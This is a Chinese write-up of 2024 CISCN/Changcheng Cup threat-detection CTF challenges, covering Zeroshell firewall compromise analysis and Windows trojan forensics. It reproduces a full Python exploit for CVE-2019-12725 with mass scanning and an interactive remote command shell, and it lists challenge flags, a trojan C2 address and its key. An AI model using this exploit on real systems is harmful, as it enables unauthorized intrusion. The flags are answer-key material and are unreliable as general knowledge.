2024-CISCN-长城杯-威胁检测与网络流量分析WP

admin 2025年1月26日23:42:06评论20 views字数 5180阅读17分16秒阅读模式

题目附件:https://pan.quark.cn/s/dfe8c745aa69 密码:11b0526b-9cfb-4ac4-8a75-10ad9097b7ce

zeroshellwp来自:https://www.cnblogs.com/smileleooo/p/18612261

WinFTwp来自:https://www.a1natas.com/2024-CISCNxCCB/#winft_1

zeroshell_1

题目:从数据包中找出攻击者利用漏洞开展攻击的会话(攻击者执行了一条命令),写出该会话中设置的flag, 结果提交形式:flag{xxxxxxxxx}

Wireshark打开数据包,尝试搜索"exec"等关键字,发现一可疑http数据包,该请求url中存在有执行命令的情况。

2024-CISCN-长城杯-威胁检测与网络流量分析WP

对该http数据包追踪TCP数据流,发现该请求包的Referer字段有些异常。

2024-CISCN-长城杯-威胁检测与网络流量分析WP

进行base64解码,获取到了flag字符串:

2024-CISCN-长城杯-威胁检测与网络流量分析WP

zeroshell_2

题目:通过漏洞利用获取设备控制权限,然后查找设备上的flag文件,提取flag文件内容,结果提交形式:flag{xxxxxxxxxx}

根据手册搭建环境。其实通过zeroshell_1中定位的http数据流,发现请求中的type参数可以用来执行命令。搜一下zeroshell漏洞,确认是zeroshell防火墙的一个rce漏洞CVE-2019-12725。

随便找一个exp:https://github.com/gougou123-hash/CVE-2019-12725/blob/main/CVE-2019-12725.py

import requests
import re
import sys
import urllib3
from argparse import ArgumentParser
import threadpool
from urllib import parse
from time import time
import random


urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
filename = sys.argv[1]
url_list=[]

#随机ua
def get_ua():
 first_num = random.randint(55, 62)
 third_num = random.randint(0, 3200)
 fourth_num = random.randint(0, 140)
 os_type = [
 '(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)',
 '(Macintosh; Intel Mac OS X 10_12_6)'
 ]
 chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)

 ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36',
   '(KHTML, like Gecko)', chrome_version, 'Safari/537.36']
  )
 return ua


def check_vuln(url):
 url = parse.urlparse(url)
 url2=url.scheme + '://' + url.netloc 
 headers = {
 'User-Agent': get_ua(),
 }
 # data=base64.b64encode("eyJzZXQtcHJvcGVydHkiOnsicmVxdWVzdERpc3BhdGNoZXIucmVxdWVzdFBhcnNlcnMuZW5hYmxlUmVtb3RlU3RyZWFtaW5nIjp0cnVlfX0=")
 try:
 res2 = requests.get(url2 + '/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Aid%0A%27',headers=headers,timeout=10,verify=False)
 if res2.status_code==200 and "uid" in res2.text:
 print("33[32m[+]%s is vuln33[0m" %url2)
 return 1
 else:
 print("33[31m[-]%s is not vuln33[0m" %url1)
 except Exception as e:
 print("33[31m[-]%s is timeout33[0m" %url2)


#cmdshell
def cmdshell(url):
 if check_vuln(url)==1:
 url = parse.urlparse(url)
 url1 = url.scheme + '://' + url.netloc + '/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A'
 while 1:
 shell = input("33[35mcmd: 33[0m")
 if shell =="exit":
 sys.exit(0)
 else:
 headers = {
 'User-Agent': get_ua(),
 }
 try:
 res = requests.get(url1 + shell + '%0A%27',headers=headers,timeout=10,verify=False)
 if res.status_code==200 and len(res.text) != 0:
 vulntext=res.text.split('<html>')
 print("33[32m%s33[0m" %vulntext[0])
 else:
 print("33[31m[-]%s Command execution failed !33[0m" %url1)
 except Exception as e:
 print("33[31m[-]%s is timeout!33[0m" %url1)


#多线程
def multithreading(url_list, pools=5):
 works = []
 for i in url_list:
 # works.append((func_params, None))
 works.append(i)
 # print(works)
 pool = threadpool.ThreadPool(pools)
 reqs = threadpool.makeRequests(check_vuln, works)
 [pool.putRequest(req) for req in reqs]
 pool.wait()


if __name__ == '__main__':
 show = r'''

 _____ _   _ _____       _____  _____  __   _____        __   _____  ___________  _____ 
 /  __ | | |  ___|     / __  |  _  |/  | |  _  |      /  | / __  |___  / __  |  ___|
 | /  / | | | |__ ______`' / /'| |/' |`| | | |_| |______`| | `' / /'   / /`' / /'|___  
 | |   | | | |  __|______| / /  |  /| | | | ____ |______|| |   / /    / /   / /      
 | __/ _/ / |___      ./ /___ |_/ /_| |_.___/ /      _| |_./ /___./ /  ./ /___/__/ /
 ____/___/____/      _____/ ___/ ___/____/       ___/_____/_/   _____/____/ 
                                                                                        
                                                                                                                                                                                                                  
                                                                                                      
                                                  CVE-2019-12725 By m2
 '''
 print(show + 'n')
 arg=ArgumentParser(description='CVE-2019-12725 By m2')
 arg.add_argument("-u",
 "--url",
 help="Target URL; Example:http://ip:port")
 arg.add_argument("-f",
 "--file",
 help="Target URL; Example:url.txt")
 arg.add_argument("-c",
 "--cmd",
 help="Target URL; Example:http://ip:port")
 args=arg.parse_args()
 url=args.url
 filename=args.file
 cmd=args.cmd
 print('[*]任务开始...')
 if url != None and cmd == None and filename == None:
 check_vuln(url)
 elif url == None and cmd == None and filename != None:
 start=time()
 for i in open(filename):
 i=i.replace('n','')
 check_vuln(i)
 end=time()
 print('任务完成,用时%d' %(end-start))
 elif url == None and cmd != None and filename == None:
 cmdshell(cmd)

找flag文件,在/DB/_DB.001/flag和/Database/flag中都有,flag{c6045425-6e6e-41d0-be09-95682a4f65c4}。

2024-CISCN-长城杯-威胁检测与网络流量分析WP

zeroshell_3

题目:找出受控机防火墙设备中驻留木马的外联域名或IP地址,结果提交形式:flag{xxxx},如flag{www.abc.com} 或 flag{16.122.33.44}

netstat看一下,发现外部地址中有一个比较特别的ip地址,提交试了一下,就它了,flag{202.115.89.103}。

2024-CISCN-长城杯-威胁检测与网络流量分析WP

zeroshell_4

题目:请写出木马进程执行的本体文件的名称,结果提交形式:flag{xxxxx},仅写文件名不加路径

找了很久,最后在/tmp目录下找到一个可执行文件,应该是了,flag{.nginx}

2024-CISCN-长城杯-威胁检测与网络流量分析WP

zeroshell_5

题目:请提取驻留的木马本体文件,通过逆向分析找出木马样本通信使用的加密密钥,结果提交形式:flag{xxxx}

把.nginx文件下载下来,记得先把本地杀软关掉。

2024-CISCN-长城杯-威胁检测与网络流量分析WP

拖入IDA找密钥,搜关键字没有匹配的,但有几个字符串是比较可疑的。搜反联ip地址,似乎有发现了。

2024-CISCN-长城杯-威胁检测与网络流量分析WP

应该是密钥,flag{11223344qweasdzxc}

zeroshell_6

题目:请写出驻留木马的启动项,注意写出启动文件的完整路径。结果提交形式:flag{xxxx},如flag{/a/b/c}

2024-CISCN-长城杯-威胁检测与网络流量分析WP

flag{/var/register/system/startup/scripts/nat/File}

作者:smileleooo

出处:https://www.cnblogs.com/smileleooo/p/18612261

WinFT_1

可以在常见的系统位置找到可疑的exe

2024-CISCN-长城杯-威胁检测与网络流量分析WP

使用微步云沙箱判定为木马,在网络行为中得到域名

2024-CISCN-长城杯-威胁检测与网络流量分析WP

双击运行后打开桌面上的火绒剑

2024-CISCN-长城杯-威胁检测与网络流量分析WP

得到ip地址和端口

WinFT_2

使用虚拟机内的PCHunter,选择启动,第三个选项,往下拉最后一个找到flag,然后右键导出,另存为1.txt,可以发现flag密文

2024-CISCN-长城杯-威胁检测与网络流量分析WP

cyberchef解密得到flag

2024-CISCN-长城杯-威胁检测与网络流量分析WP

WinFT_5

CTF-NetA直接梭出压缩包,也可以导出http对象,压缩包被分为两个部分,一部分在client中,一部分在server中,修复后可不报错,但忽略报错也可进行下一步,打开发现有一个压缩包中存在flag.txt,并存在注释时间线关联非常重要

2024-CISCN-长城杯-威胁检测与网络流量分析WP
2024-CISCN-长城杯-威胁检测与网络流量分析WP

直接得到flag

2024-CISCN-长城杯-威胁检测与网络流量分析WP

WP来自

https://www.a1natas.com/2024-CISCNxCCB/#winft_1


原文始发于微信公众号(0xh4ck3r):2024-CISCN-长城杯-威胁检测与网络流量分析WP

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月26日23:42:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2024-CISCN-长城杯-威胁检测与网络流量分析WPhttps://cn-sec.com/archives/3674508.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息